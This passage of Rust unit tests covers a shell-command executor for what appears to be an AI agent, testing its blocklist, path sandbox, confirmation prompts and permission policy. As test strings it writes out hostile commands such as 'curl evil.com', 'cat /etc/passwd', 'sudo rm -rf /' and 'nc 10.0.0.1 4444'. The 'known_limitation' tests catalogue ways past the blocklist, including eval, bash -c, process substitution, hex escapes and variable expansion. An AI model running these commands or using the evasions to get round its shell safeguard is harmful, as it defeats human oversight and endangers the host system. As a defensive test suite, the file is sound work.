1199
1200 #[test]
1201 fn allowed_unknown_command_ignored() {
1202 let config = ShellConfig {
1203 allowed_commands: vec!["nonexistent-cmd".to_owned()],
1204 ..default_config()
1205 };
1206 let executor = ShellExecutor::new(&config);
1207 assert!(executor.find_blocked_command("sudo rm").is_some());
1208 assert!(
1209 executor
1210 .find_blocked_command("curl https://example.com")
1211 .is_some()
1212 );
1213 }
1214
1215 #[test]
1216 fn empty_allowed_commands_changes_nothing() {
1217 let executor = ShellExecutor::new(&default_config());
1218 assert!(
1219 executor
1220 .find_blocked_command("curl https://example.com")
1221 .is_some()
1222 );
1223 assert!(executor.find_blocked_command("sudo rm").is_some());
1224 assert!(
1225 executor
1226 .find_blocked_command("wget http://evil.com")
1227 .is_some()
1228 );
1229 }
1230
1231 #[test]
1234 fn extract_paths_from_code() {
1235 let paths = extract_paths("cat /etc/passwd && ls /var/log");
1236 assert_eq!(paths, vec!["/etc/passwd".to_owned(), "/var/log".to_owned()]);
1237 }
1238
1239 #[test]
1240 fn extract_paths_handles_trailing_chars() {
1241 let paths = extract_paths("cat /etc/passwd; echo /var/log|");
1242 assert_eq!(paths, vec!["/etc/passwd".to_owned(), "/var/log".to_owned()]);
1243 }
1244
1245 #[test]
1246 fn extract_paths_detects_relative() {
1247 let paths = extract_paths("cat ./file.txt ../other");
1248 assert_eq!(paths, vec!["./file.txt".to_owned(), "../other".to_owned()]);
1249 }
1250
1251 #[test]
1252 fn sandbox_allows_cwd_by_default() {
1253 let executor = ShellExecutor::new(&default_config());
1254 let cwd = std::env::current_dir().unwrap();
1255 let cwd_path = cwd.display().to_string();
1256 let code = format!("cat {cwd_path}/file.txt");
1257 assert!(executor.validate_sandbox(&code).is_ok());
1258 }
1259
1260 #[test]
1261 fn sandbox_rejects_path_outside_allowed() {
1262 let config = sandbox_config(vec!["/tmp/test-sandbox".into()]);
1263 let executor = ShellExecutor::new(&config);
1264 let result = executor.validate_sandbox("cat /etc/passwd");
1265 assert!(matches!(result, Err(ToolError::SandboxViolation { .. })));
1266 }
1267
1268 #[test]
1269 fn sandbox_no_absolute_paths_passes() {
1270 let config = sandbox_config(vec!["/tmp".into()]);
1271 let executor = ShellExecutor::new(&config);
1272 assert!(executor.validate_sandbox("echo hello").is_ok());
1273 }
1274
1275 #[test]
1276 fn sandbox_rejects_dotdot_traversal() {
1277 let config = sandbox_config(vec!["/tmp/sandbox".into()]);
1278 let executor = ShellExecutor::new(&config);
1279 let result = executor.validate_sandbox("cat ../../../etc/passwd");
1280 assert!(matches!(result, Err(ToolError::SandboxViolation { .. })));
1281 }
1282
1283 #[test]
1284 fn sandbox_rejects_bare_dotdot() {
1285 let config = sandbox_config(vec!["/tmp/sandbox".into()]);
1286 let executor = ShellExecutor::new(&config);
1287 let result = executor.validate_sandbox("cd ..");
1288 assert!(matches!(result, Err(ToolError::SandboxViolation { .. })));
1289 }
1290
1291 #[test]
1292 fn sandbox_rejects_relative_dotslash_outside() {
1293 let config = sandbox_config(vec!["/nonexistent/sandbox".into()]);
1294 let executor = ShellExecutor::new(&config);
1295 let result = executor.validate_sandbox("cat ./secret.txt");
1296 assert!(matches!(result, Err(ToolError::SandboxViolation { .. })));
1297 }
1298
1299 #[test]
1300 fn sandbox_rejects_absolute_with_embedded_dotdot() {
1301 let config = sandbox_config(vec!["/tmp/sandbox".into()]);
1302 let executor = ShellExecutor::new(&config);
1303 let result = executor.validate_sandbox("cat /tmp/sandbox/../../../etc/passwd");
1304 assert!(matches!(result, Err(ToolError::SandboxViolation { .. })));
1305 }
1306
1307 #[test]
1308 fn has_traversal_detects_dotdot() {
1309 assert!(has_traversal("../etc/passwd"));
1310 assert!(has_traversal("./foo/../bar"));
1311 assert!(has_traversal("/tmp/sandbox/../../etc"));
1312 assert!(has_traversal(".."));
1313 assert!(!has_traversal("./safe/path"));
1314 assert!(!has_traversal("/absolute/path"));
1315 assert!(!has_traversal("no-dots-here"));
1316 }
1317
1318 #[test]
1319 fn extract_paths_detects_dotdot_standalone() {
1320 let paths = extract_paths("cd ..");
1321 assert_eq!(paths, vec!["..".to_owned()]);
1322 }
1323
1324 #[test]
1327 fn allow_network_false_blocks_network_commands() {
1328 let config = ShellConfig {
1329 allow_network: false,
1330 ..default_config()
1331 };
1332 let executor = ShellExecutor::new(&config);
1333 assert!(
1334 executor
1335 .find_blocked_command("curl https://example.com")
1336 .is_some()
1337 );
1338 assert!(
1339 executor
1340 .find_blocked_command("wget http://example.com")
1341 .is_some()
1342 );
1343 assert!(executor.find_blocked_command("nc 10.0.0.1 4444").is_some());
1344 }
1345
1346 #[test]
1347 fn allow_network_true_keeps_default_behavior() {
1348 let config = ShellConfig {
1349 allow_network: true,
1350 ..default_config()
1351 };
1352 let executor = ShellExecutor::new(&config);
1353 assert!(
1355 executor
1356 .find_blocked_command("curl https://example.com")
1357 .is_some()
1358 );
1359 }
1360
1361 #[test]
1364 fn find_confirm_command_matches_pattern() {
1365 let config = ShellConfig {
1366 confirm_patterns: vec!["rm ".into(), "git push -f".into()],
1367 ..default_config()
1368 };
1369 let executor = ShellExecutor::new(&config);
1370 assert_eq!(
1371 executor.find_confirm_command("rm /tmp/file.txt"),
1372 Some("rm ")
1373 );
1374 assert_eq!(
1375 executor.find_confirm_command("git push -f origin main"),
1376 Some("git push -f")
1377 );
1378 }
1379
1380 #[test]
1381 fn find_confirm_command_case_insensitive() {
1382 let config = ShellConfig {
1383 confirm_patterns: vec!["drop table".into()],
1384 ..default_config()
1385 };
1386 let executor = ShellExecutor::new(&config);
1387 assert!(executor.find_confirm_command("DROP TABLE users").is_some());
1388 }
1389
1390 #[test]
1391 fn find_confirm_command_no_match() {
1392 let config = ShellConfig {
1393 confirm_patterns: vec!["rm ".into()],
1394 ..default_config()
1395 };
1396 let executor = ShellExecutor::new(&config);
1397 assert!(executor.find_confirm_command("echo hello").is_none());
1398 }
1399
1400 #[tokio::test]
1401 async fn confirmation_required_returned() {
1402 let config = ShellConfig {
1403 confirm_patterns: vec!["rm ".into()],
1404 ..default_config()
1405 };
1406 let executor = ShellExecutor::new(&config);
1407 let response = "```bash\nrm file.txt\n```";
1408 let result = executor.execute(response).await;
1409 assert!(matches!(
1410 result,
1411 Err(ToolError::ConfirmationRequired { .. })
1412 ));
1413 }
1414
1415 #[tokio::test]
1416 async fn execute_confirmed_skips_confirmation() {
1417 let config = ShellConfig {
1418 confirm_patterns: vec!["echo".into()],
1419 ..default_config()
1420 };
1421 let executor = ShellExecutor::new(&config);
1422 let response = "```bash\necho confirmed\n```";
1423 let result = executor.execute_confirmed(response).await;
1424 assert!(result.is_ok());
1425 let output = result.unwrap().unwrap();
1426 assert!(output.summary.contains("confirmed"));
1427 }
1428
1429 #[test]
1432 fn default_confirm_patterns_loaded() {
1433 let config = ShellConfig::default();
1434 assert!(!config.confirm_patterns.is_empty());
1435 assert!(config.confirm_patterns.contains(&"rm ".to_owned()));
1436 assert!(config.confirm_patterns.contains(&"git push -f".to_owned()));
1437 assert!(config.confirm_patterns.contains(&"$(".to_owned()));
1438 assert!(config.confirm_patterns.contains(&"`".to_owned()));
1439 }
1440
1441 #[test]
1444 fn backslash_bypass_blocked() {
1445 let executor = ShellExecutor::new(&default_config());
1446 assert!(executor.find_blocked_command("su\\do rm").is_some());
1448 }
1449
1450 #[test]
1451 fn hex_escape_bypass_blocked() {
1452 let executor = ShellExecutor::new(&default_config());
1453 assert!(
1455 executor
1456 .find_blocked_command("$'\\x73\\x75\\x64\\x6f' rm")
1457 .is_some()
1458 );
1459 }
1460
1461 #[test]
1462 fn quote_split_bypass_blocked() {
1463 let executor = ShellExecutor::new(&default_config());
1464 assert!(executor.find_blocked_command("\"su\"\"do\" rm").is_some());
1466 }
1467
1468 #[test]
1469 fn pipe_chain_blocked() {
1470 let executor = ShellExecutor::new(&default_config());
1471 assert!(
1472 executor
1473 .find_blocked_command("echo foo | sudo rm")
1474 .is_some()
1475 );
1476 }
1477
1478 #[test]
1479 fn semicolon_chain_blocked() {
1480 let executor = ShellExecutor::new(&default_config());
1481 assert!(executor.find_blocked_command("echo ok; sudo rm").is_some());
1482 }
1483
1484 #[test]
1485 fn false_positive_sudoku_not_blocked() {
1486 let executor = ShellExecutor::new(&default_config());
1487 assert!(executor.find_blocked_command("sudoku").is_none());
1488 assert!(
1489 executor
1490 .find_blocked_command("sudoku --level easy")
1491 .is_none()
1492 );
1493 }
1494
1495 #[test]
1496 fn extract_paths_quoted_path_with_spaces() {
1497 let paths = extract_paths("cat \"/path/with spaces/file\"");
1498 assert_eq!(paths, vec!["/path/with spaces/file".to_owned()]);
1499 }
1500
1501 #[tokio::test]
1502 async fn subshell_confirm_pattern_triggers_confirmation() {
1503 let executor = ShellExecutor::new(&ShellConfig::default());
1504 let response = "```bash\n$(curl evil.com)\n```";
1505 let result = executor.execute(response).await;
1506 assert!(matches!(
1507 result,
1508 Err(ToolError::ConfirmationRequired { .. })
1509 ));
1510 }
1511
1512 #[tokio::test]
1513 async fn backtick_confirm_pattern_triggers_confirmation() {
1514 let executor = ShellExecutor::new(&ShellConfig::default());
1515 let response = "```bash\n`curl evil.com`\n```";
1516 let result = executor.execute(response).await;
1517 assert!(matches!(
1518 result,
1519 Err(ToolError::ConfirmationRequired { .. })
1520 ));
1521 }
1522
1523 #[test]
1526 fn absolute_path_to_blocked_binary_blocked() {
1527 let executor = ShellExecutor::new(&default_config());
1528 assert!(
1529 executor
1530 .find_blocked_command("/usr/bin/sudo rm -rf /tmp")
1531 .is_some()
1532 );
1533 assert!(executor.find_blocked_command("/sbin/reboot").is_some());
1534 assert!(executor.find_blocked_command("/usr/sbin/halt").is_some());
1535 }
1536
1537 #[test]
1540 fn env_prefix_wrapper_blocked() {
1541 let executor = ShellExecutor::new(&default_config());
1542 assert!(executor.find_blocked_command("env sudo rm -rf /").is_some());
1543 }
1544
1545 #[test]
1546 fn command_prefix_wrapper_blocked() {
1547 let executor = ShellExecutor::new(&default_config());
1548 assert!(
1549 executor
1550 .find_blocked_command("command sudo rm -rf /")
1551 .is_some()
1552 );
1553 }
1554
1555 #[test]
1556 fn exec_prefix_wrapper_blocked() {
1557 let executor = ShellExecutor::new(&default_config());
1558 assert!(executor.find_blocked_command("exec sudo rm").is_some());
1559 }
1560
1561 #[test]
1562 fn nohup_prefix_wrapper_blocked() {
1563 let executor = ShellExecutor::new(&default_config());
1564 assert!(executor.find_blocked_command("nohup reboot now").is_some());
1565 }
1566
1567 #[test]
1568 fn absolute_path_via_env_wrapper_blocked() {
1569 let executor = ShellExecutor::new(&default_config());
1570 assert!(
1571 executor
1572 .find_blocked_command("env /usr/bin/sudo rm -rf /")
1573 .is_some()
1574 );
1575 }
1576
1577 #[test]
1580 fn octal_escape_bypass_blocked() {
1581 let executor = ShellExecutor::new(&default_config());
1582 assert!(
1584 executor
1585 .find_blocked_command("$'\\163\\165\\144\\157' rm")
1586 .is_some()
1587 );
1588 }
1589
1590 #[tokio::test]
1591 async fn with_audit_attaches_logger() {
1592 use crate::audit::AuditLogger;
1593 use crate::config::AuditConfig;
1594 let config = default_config();
1595 let executor = ShellExecutor::new(&config);
1596 let audit_config = AuditConfig {
1597 enabled: true,
1598 destination: "stdout".into(),
1599 };
1600 let logger = AuditLogger::from_config(&audit_config).await.unwrap();
1601 let executor = executor.with_audit(logger);
1602 assert!(executor.audit_logger.is_some());
1603 }
1604
1605 #[test]
1606 fn chrono_now_returns_valid_timestamp() {
1607 let ts = chrono_now();
1608 assert!(!ts.is_empty());
1609 let parsed: u64 = ts.parse().unwrap();
1610 assert!(parsed > 0);
1611 }
1612
1613 #[cfg(unix)]
1614 #[tokio::test]
1615 async fn execute_bash_injects_extra_env() {
1616 let mut env = std::collections::HashMap::new();
1617 env.insert(
1618 "ZEPH_TEST_INJECTED_VAR".to_owned(),
1619 "hello-from-env".to_owned(),
1620 );
1621 let (result, code) = execute_bash(
1622 "echo $ZEPH_TEST_INJECTED_VAR",
1623 Duration::from_secs(5),
1624 None,
1625 None,
1626 Some(&env),
1627 )
1628 .await;
1629 assert_eq!(code, 0);
1630 assert!(result.contains("hello-from-env"));
1631 }
1632
1633 #[cfg(unix)]
1634 #[tokio::test]
1635 async fn shell_executor_set_skill_env_injects_vars() {
1636 let config = ShellConfig {
1637 timeout: 5,
1638 allowed_commands: vec![],
1639 blocked_commands: vec![],
1640 allowed_paths: vec![],
1641 confirm_patterns: vec![],
1642 allow_network: false,
1643 };
1644 let executor = ShellExecutor::new(&config);
1645 let mut env = std::collections::HashMap::new();
1646 env.insert("MY_SKILL_SECRET".to_owned(), "injected-value".to_owned());
1647 executor.set_skill_env(Some(env));
1648 use crate::executor::ToolExecutor;
1649 let result = executor
1650 .execute("```bash\necho $MY_SKILL_SECRET\n```")
1651 .await
1652 .unwrap()
1653 .unwrap();
1654 assert!(result.summary.contains("injected-value"));
1655 executor.set_skill_env(None);
1656 }
1657
1658 #[cfg(unix)]
1659 #[tokio::test]
1660 async fn execute_bash_error_handling() {
1661 let (result, code) = execute_bash("false", Duration::from_secs(5), None, None, None).await;
1662 assert_eq!(result, "(no output)");
1663 assert_eq!(code, 1);
1664 }
1665
1666 #[cfg(unix)]
1667 #[tokio::test]
1668 async fn execute_bash_command_not_found() {
1669 let (result, _) = execute_bash(
1670 "nonexistent-command-xyz",
1671 Duration::from_secs(5),
1672 None,
1673 None,
1674 None,
1675 )
1676 .await;
1677 assert!(result.contains("[stderr]") || result.contains("[error]"));
1678 }
1679
1680 #[test]
1681 fn extract_paths_empty() {
1682 assert!(extract_paths("").is_empty());
1683 }
1684
1685 #[tokio::test]
1686 async fn policy_deny_blocks_command() {
1687 let policy = PermissionPolicy::from_legacy(&["forbidden".to_owned()], &[]);
1688 let executor = ShellExecutor::new(&default_config()).with_permissions(policy);
1689 let response = "```bash\nforbidden command\n```";
1690 let result = executor.execute(response).await;
1691 assert!(matches!(result, Err(ToolError::Blocked { .. })));
1692 }
1693
1694 #[tokio::test]
1695 async fn policy_ask_requires_confirmation() {
1696 let policy = PermissionPolicy::from_legacy(&[], &["risky".to_owned()]);
1697 let executor = ShellExecutor::new(&default_config()).with_permissions(policy);
1698 let response = "```bash\nrisky operation\n```";
1699 let result = executor.execute(response).await;
1700 assert!(matches!(
1701 result,
1702 Err(ToolError::ConfirmationRequired { .. })
1703 ));
1704 }
1705
1706 #[tokio::test]
1707 async fn policy_allow_skips_checks() {
1708 use crate::permissions::PermissionRule;
1709 use std::collections::HashMap;
1710 let mut rules = HashMap::new();
1711 rules.insert(
1712 "bash".to_owned(),
1713 vec![PermissionRule {
1714 pattern: "*".to_owned(),
1715 action: PermissionAction::Allow,
1716 }],
1717 );
1718 let policy = PermissionPolicy::new(rules);
1719 let executor = ShellExecutor::new(&default_config()).with_permissions(policy);
1720 let response = "```bash\necho hello\n```";
1721 let result = executor.execute(response).await;
1722 assert!(result.is_ok());
1723 }
1724
1725 #[tokio::test]
1726 async fn blocked_command_logged_to_audit() {
1727 use crate::audit::AuditLogger;
1728 use crate::config::AuditConfig;
1729 let config = ShellConfig {
1730 blocked_commands: vec!["dangerous".to_owned()],
1731 ..default_config()
1732 };
1733 let audit_config = AuditConfig {
1734 enabled: true,
1735 destination: "stdout".into(),
1736 };
1737 let logger = AuditLogger::from_config(&audit_config).await.unwrap();
1738 let executor = ShellExecutor::new(&config).with_audit(logger);
1739 let response = "```bash\ndangerous command\n```";
1740 let result = executor.execute(response).await;
1741 assert!(matches!(result, Err(ToolError::Blocked { .. })));
1742 }
1743
1744 #[test]
1745 fn tool_definitions_returns_bash() {
1746 let executor = ShellExecutor::new(&default_config());
1747 let defs = executor.tool_definitions();
1748 assert_eq!(defs.len(), 1);
1749 assert_eq!(defs[0].id, "bash");
1750 assert_eq!(
1751 defs[0].invocation,
1752 crate::registry::InvocationHint::FencedBlock("bash")
1753 );
1754 }
1755
1756 #[test]
1757 fn tool_definitions_schema_has_command_param() {
1758 let executor = ShellExecutor::new(&default_config());
1759 let defs = executor.tool_definitions();
1760 let obj = defs[0].schema.as_object().unwrap();
1761 let props = obj["properties"].as_object().unwrap();
1762 assert!(props.contains_key("command"));
1763 let req = obj["required"].as_array().unwrap();
1764 assert!(req.iter().any(|v| v.as_str() == Some("command")));
1765 }
1766
1767 #[tokio::test]
1768 #[cfg(not(target_os = "windows"))]
1769 async fn cancel_token_kills_child_process() {
1770 let token = CancellationToken::new();
1771 let token_clone = token.clone();
1772 tokio::spawn(async move {
1773 tokio::time::sleep(Duration::from_millis(100)).await;
1774 token_clone.cancel();
1775 });
1776 let (result, code) = execute_bash(
1777 "sleep 60",
1778 Duration::from_secs(30),
1779 None,
1780 Some(&token),
1781 None,
1782 )
1783 .await;
1784 assert_eq!(code, 130);
1785 assert!(result.contains("[cancelled]"));
1786 }
1787
1788 #[tokio::test]
1789 #[cfg(not(target_os = "windows"))]
1790 async fn cancel_token_none_does_not_cancel() {
1791 let (result, code) =
1792 execute_bash("echo ok", Duration::from_secs(5), None, None, None).await;
1793 assert_eq!(code, 0);
1794 assert!(result.contains("ok"));
1795 }
1796
1797 #[tokio::test]
1798 #[cfg(not(target_os = "windows"))]
1799 async fn cancel_kills_child_process_group() {
1800 use std::path::Path;
1801 let marker = format!("/tmp/zeph-pgkill-test-{}", std::process::id());
1802 let script = format!("bash -c 'sleep 30 && touch {marker}' & sleep 60");
1803 let token = CancellationToken::new();
1804 let token_clone = token.clone();
1805 tokio::spawn(async move {
1806 tokio::time::sleep(Duration::from_millis(200)).await;
1807 token_clone.cancel();
1808 });
1809 let (result, code) =
1810 execute_bash(&script, Duration::from_secs(30), None, Some(&token), None).await;
1811 assert_eq!(code, 130);
1812 assert!(result.contains("[cancelled]"));
1813 tokio::time::sleep(Duration::from_millis(500)).await;
1815 assert!(
1816 !Path::new(&marker).exists(),
1817 "subprocess should have been killed with process group"
1818 );
1819 }
1820
1821 #[tokio::test]
1822 #[cfg(not(target_os = "windows"))]
1823 async fn shell_executor_cancel_returns_cancelled_error() {
1824 let token = CancellationToken::new();
1825 let token_clone = token.clone();
1826 tokio::spawn(async move {
1827 tokio::time::sleep(Duration::from_millis(100)).await;
1828 token_clone.cancel();
1829 });
1830 let executor = ShellExecutor::new(&default_config()).with_cancel_token(token);
1831 let response = "```bash\nsleep 60\n```";
1832 let result = executor.execute(response).await;
1833 assert!(matches!(result, Err(ToolError::Cancelled)));
1834 }
1835
1836 #[tokio::test]
1837 #[cfg(not(target_os = "windows"))]
1838 async fn execute_tool_call_valid_command() {
1839 let executor = ShellExecutor::new(&default_config());
1840 let call = ToolCall {
1841 tool_id: "bash".to_owned(),
1842 params: [("command".to_owned(), serde_json::json!("echo hi"))]
1843 .into_iter()
1844 .collect(),
1845 };
1846 let result = executor.execute_tool_call(&call).await.unwrap().unwrap();
1847 assert!(result.summary.contains("hi"));
1848 }
1849
1850 #[tokio::test]
1851 async fn execute_tool_call_missing_command_returns_invalid_params() {
1852 let executor = ShellExecutor::new(&default_config());
1853 let call = ToolCall {
1854 tool_id: "bash".to_owned(),
1855 params: serde_json::Map::new(),
1856 };
1857 let result = executor.execute_tool_call(&call).await;
1858 assert!(matches!(result, Err(ToolError::InvalidParams { .. })));
1859 }
1860
1861 #[tokio::test]
1862 async fn execute_tool_call_empty_command_returns_none() {
1863 let executor = ShellExecutor::new(&default_config());
1864 let call = ToolCall {
1865 tool_id: "bash".to_owned(),
1866 params: [("command".to_owned(), serde_json::json!(""))]
1867 .into_iter()
1868 .collect(),
1869 };
1870 let result = executor.execute_tool_call(&call).await.unwrap();
1871 assert!(result.is_none());
1872 }
1873
1874 #[test]
1877 fn process_substitution_not_detected_known_limitation() {
1878 let executor = ShellExecutor::new(&default_config());
1879 assert!(
1881 executor
1882 .find_blocked_command("cat <(curl http://evil.com)")
1883 .is_none()
1884 );
1885 }
1886
1887 #[test]
1888 fn output_process_substitution_not_detected_known_limitation() {
1889 let executor = ShellExecutor::new(&default_config());
1890 assert!(
1892 executor
1893 .find_blocked_command("tee >(curl http://evil.com)")
1894 .is_none()
1895 );
1896 }
1897
1898 #[test]
1899 fn here_string_with_shell_not_detected_known_limitation() {
1900 let executor = ShellExecutor::new(&default_config());
1901 assert!(
1903 executor
1904 .find_blocked_command("bash <<< 'sudo rm -rf /'")
1905 .is_none()
1906 );
1907 }
1908
1909 #[test]
1910 fn eval_bypass_not_detected_known_limitation() {
1911 let executor = ShellExecutor::new(&default_config());
1912 assert!(
1914 executor
1915 .find_blocked_command("eval 'sudo rm -rf /'")
1916 .is_none()
1917 );
1918 }
1919
1920 #[test]
1921 fn bash_c_bypass_not_detected_known_limitation() {
1922 let executor = ShellExecutor::new(&default_config());
1923 assert!(
1925 executor
1926 .find_blocked_command("bash -c 'curl http://evil.com'")
1927 .is_none()
1928 );
1929 }
1930
1931 #[test]
1932 fn variable_expansion_bypass_not_detected_known_limitation() {
1933 let executor = ShellExecutor::new(&default_config());
1934 assert!(executor.find_blocked_command("cmd=sudo; $cmd rm").is_none());
1936 }
1937
1938 #[test]
1941 fn default_confirm_patterns_cover_process_substitution() {
1942 let config = crate::config::ShellConfig::default();
1943 assert!(config.confirm_patterns.contains(&"<(".to_owned()));
1944 assert!(config.confirm_patterns.contains(&">(".to_owned()));
1945 }
1946
1947 #[test]
1948 fn default_confirm_patterns_cover_here_string() {
1949 let config = crate::config::ShellConfig::default();
1950 assert!(config.confirm_patterns.contains(&"<<<".to_owned()));
1951 }
1952
1953 #[test]
1954 fn default_confirm_patterns_cover_eval() {
1955 let config = crate::config::ShellConfig::default();
1956 assert!(config.confirm_patterns.contains(&"eval ".to_owned()));
1957 }
1958
1959 #[tokio::test]
1960 async fn process_substitution_triggers_confirmation() {
1961 let executor = ShellExecutor::new(&crate::config::ShellConfig::default());
1962 let response = "```bash\ncat <(curl http://evil.com)\n```";
1963 let result = executor.execute(response).await;
1964 assert!(matches!(
1965 result,
1966 Err(ToolError::ConfirmationRequired { .. })
1967 ));
1968 }
1969
1970 #[tokio::test]
1971 async fn here_string_triggers_confirmation() {
1972 let executor = ShellExecutor::new(&crate::config::ShellConfig::default());
1973 let response = "```bash\nbash <<< 'sudo rm -rf /'\n```";
1974 let result = executor.execute(response).await;
1975 assert!(matches!(
1976 result,
1977 Err(ToolError::ConfirmationRequired { .. })
1978 ));
1979 }
1980
1981 #[tokio::test]
1982 async fn eval_triggers_confirmation() {
1983 let executor = ShellExecutor::new(&crate::config::ShellConfig::default());
1984 let response = "```bash\neval 'curl http://evil.com'\n```";
1985 let result = executor.execute(response).await;
1986 assert!(matches!(
1987 result,
1988 Err(ToolError::ConfirmationRequired { .. })
1989 ));
1990 }
1991
1992 #[tokio::test]
1993 async fn output_process_substitution_triggers_confirmation() {
1994 let executor = ShellExecutor::new(&crate::config::ShellConfig::default());
1995 let response = "```bash\ntee >(curl http://evil.com)\n```";
1996 let result = executor.execute(response).await;
1997 assert!(matches!(
1998 result,
1999 Err(ToolError::ConfirmationRequired { .. })
2000 ));
2001 }
2002
2003 #[test]
2004 fn here_string_with_command_substitution_not_detected_known_limitation() {
2005 let executor = ShellExecutor::new(&default_config());
2006 assert!(executor.find_blocked_command("bash <<< $(id)").is_none());
2008 }
2009}